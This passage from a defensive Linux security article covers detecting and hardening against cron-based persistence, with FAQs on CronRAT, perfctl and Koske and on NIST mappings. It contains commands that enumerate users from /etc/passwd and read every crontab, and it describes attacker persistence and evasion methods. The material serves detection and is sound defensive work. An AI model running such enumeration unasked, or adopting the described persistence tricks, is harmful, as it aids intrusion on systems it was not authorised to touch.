/etc/passwdto check every account:for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null; done. Read raw spool files directly withcat /var/spool/cron/crontabs/*rather than relying oncrontab -lif binary compromise is suspected. Also inspect/etc/crontab,/etc/cron.d/, and the time-based directories. -
Scan schedule fields for impossible dates. Run
grep -r "31.*2" /var/spool/cron/crontabs/ /etc/cron.d/ /etc/crontabto surface CronRAT-style entries such as February 31st (date spec52 23 31 2 3). Review the full raw content of each crontab entry, not just the command fields. -
Verify crontab binary integrity. Run
debsums -c(Debian/Ubuntu) orrpm -V crontabs(RPM-based systems) to detect trojanizedcrontab,top,lsof, orlddbinaries. Runtype -a crontabto check for PATH hijacking. Inspect/etc/profileand per-user shell init files for unauthorized$PATHprepends. -
Enable auditd watch rules for all cron paths. Add
-wrules to/etc/audit/rules.d/cron.rulescovering every cron file location with-p wa -k cron. Reload withaugenrules --load. Query events withausearch -k cronand alert in your SIEM when a cron-tagged write comes from any process other than thecrontabbinary or a package manager. -
Harden access controls and permissions. Create
/etc/cron.allowlisting only authorized users and delete/etc/cron.deny. Setchmod 600 /etc/crontabandchmod 700on all cron directories. Ship cron and auditd logs to a remote SIEM so an attacker with root cannot erase local evidence.
FAQ
How do attackers use crontab to maintain persistence on Linux?
Attackers add malicious entries directly to /var/spool/cron/crontabs/ user files, drop scripts into /etc/cron.d/ or the time-based directories, append commands to existing cron scripts using shell redirection, or use the @reboot directive to ensure execution at every system startup. Advanced campaigns like perfctl go further and replace the crontab binary itself with a trojanized version that hides the malicious entries from administrators running crontab -l.
What MITRE ATT&CK technique covers unauthorized crontab modification?
Unauthorized crontab modification is documented under MITRE ATT&CK T1053.003 -- Scheduled Task/Job: Cron. It is classified as a persistence and privilege escalation technique applicable to Linux and Unix-like operating systems, including VMware ESXi environments where cron jobs must be created directly via the crontab file.
How do you detect unauthorized crontab modifications on Linux?
Use auditd watch rules targeting /etc/crontab, /etc/cron.d/, /var/spool/cron/crontabs/, and the time-based cron directories. Monitor for crontab file creations or renames triggered by processes that are not the crontab binary itself. Regularly enumerate all user crontabs by iterating /etc/passwd and verify system binary integrity with debsums or rpm -V to detect trojanized crontab utilities. When reviewing crontab content manually, also inspect the schedule specification fields for impossible dates -- a technique used by the CronRAT malware family to hide payloads where conventional monitoring does not look.
What is CronRAT and how does it evade crontab detection?
CronRAT is a Linux remote access trojan discovered by Sansec in November 2021. It schedules tasks to run on February 31st -- a date that is syntactically valid in the cron format but does not exist on the calendar. Because the date never arrives, the cron daemon never executes the entry. The malicious payload is not in the command field at all; it is encoded through multiple layers of base64 compression and stored within the task name itself. CronRAT was deployed against e-commerce servers to inject server-side Magecart payment skimmers. At the time of discovery, Sansec's analysis found that on VirusTotal, 12 antivirus engines were unable to process the malicious file at all, and 58 additional engines did not detect it as a threat -- meaning the overwhelming majority of security products at the time were blind to it. Detecting CronRAT requires scanning the raw schedule fields of every crontab entry for impossible date combinations, not just watching for file writes.
Are Linux attackers still using cron for persistence in 2025 and 2026?
Yes. Cron-based persistence remains a staple technique across a wide range of threat actor sophistication levels. The Koske campaign, documented in July 2025 by Aqua Security's Aqua Nautilus team, is an AI-assisted Linux cryptomining operation that gains initial access through misconfigured JupyterLab instances and deploys cron entries running every 30 minutes and at every reboot to maintain recurring payload execution -- alongside custom systemd services, RC script modifications, and shell initialization hijacking. Multiple mid-2025 campaigns targeting exposed cloud services and container management interfaces combined cron and systemd persistence to survive defensive countermeasures. The Rocke group has used /etc/cron.hourly/ scripts continuously since at least 2018. Cron's reliability, reboot persistence, and near-universal presence on Linux servers means it remains a first-choice or reliable-fallback mechanism regardless of how initial access was achieved.
What NIST controls apply to cron security on Linux?
Several controls in NIST SP 800-53 Revision 5 map directly to cron security. AU-2 (Event Logging) and SI-4 (System Monitoring) cover the auditd watch rules and SIEM alerting described in this article. SI-7 (Software, Firmware, and Information Integrity) covers binary integrity verification -- the core lesson from perfctl's trojanized crontab utility. CM-6 (Configuration Settings) and CM-7 (Least Functionality) cover the /etc/cron.allow whitelist and directory permission hardening. AC-6 (Least Privilege) applies to restricting which accounts can schedule jobs at all. IR-4 (Incident Handling) governs the response steps: network isolation before reboot, full persistence enumeration before cleanup, and binary trust verification before relying on any inspection tool. NIST SP 800-123 (Guide to General Server Security) provides the OS hardening context, and NIST SP 800-190 (Application Container Security Guide) is applicable when cron persistence appears in containerized environments or via exposed container management APIs.
Knowledge Check
Five scenario-based questions to test your understanding of the techniques and defenses covered in this article.
Sources
- MITRE ATT&CK. Scheduled Task/Job: Cron, T1053.003. attack.mitre.org
- MITRE ATT&CK. Scheduled Task/Job: Systemd Timers, T1053.006. attack.mitre.org
- MITRE ATT&CK. Hijack Execution Flow: Path Interception by PATH Environment Variable, T1574.007. attack.mitre.org
- MITRE ATT&CK. Masquerading: Match Legitimate Name or Location, T1036.005. attack.mitre.org
- MITRE ATT&CK. Command and Scripting Interpreter: Unix Shell, T1059.004. attack.mitre.org
- MITRE ATT&CK. Indicator Removal: Clear Command History, T1070.003. attack.mitre.org
- MITRE ATT&CK. Indicator Removal: File Deletion, T1070.004. attack.mitre.org
- MITRE ATT&CK. File and Directory Permissions Modification: Linux and Mac, T1222.002. attack.mitre.org
- NIST. (2020). Security and Privacy Controls for Information Systems and Organizations, SP 800-53 Revision 5. National Institute of Standards and Technology. csrc.nist.gov
- Scarfone, K. & Souppaya, M. (2008). Guide to General Server Security, SP 800-123. National Institute of Standards and Technology. csrc.nist.gov
- Souppaya, M., Morello, J. & Scarfone, K. (2017). Application Container Security Guide, SP 800-190. National Institute of Standards and Technology. csrc.nist.gov
- Morag, A. & Revivo, I. (October 2024). Perfctl: A Stealthy Malware Targeting Millions of Linux Servers. Aqua Security. aquasec.com
- Elastic Security Labs. (2024). A Primer on Persistence Mechanisms. elastic.co
- Elastic Security. (January 2026). Cron Job Created or Modified -- Prebuilt Detection Rules. elastic.co
- Contreras, T. (May 2025). Linux Possible Cronjob Modification With Editor. Splunk Security Content. research.splunk.com
- Splunk Threat Research Team. Persistence and Privilege Escalation Techniques and Detection in Linux. splunk.com
- Berba, P. (January 2022). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. pberba.github.io
- SUSE Documentation. Restricting cron and at -- Security and Hardening Guide. documentation.suse.com
- OSTechNix. (December 2025). Cron Persistence: Why Your Linux Malware Keeps Coming Back. ostechnix.com
- BleepingComputer. (November 2024). Linux malware perfctl behind years-long cryptomining campaign. bleepingcomputer.com
- de Groot, W. & Sansec Threat Research. (November 2021). CronRAT: malware hides behind February 31st. Sansec. sansec.io
- Picus Security Labs. (August 2025). Explaining the AI-Assisted Koske Linux Cryptomining Malware Hidden in JPEGs. picussecurity.com
- Morag, A. (July 2025). Koske: AI-Generated Malware in Panda Image Hides Persistent Linux Threat. Aqua Security. aquasec.com
- Gilvarg, Y. (September 2025). Docker Malware Breaks In Through Exposed APIs. Akamai Hunt Team / CSO Online. csoonline.com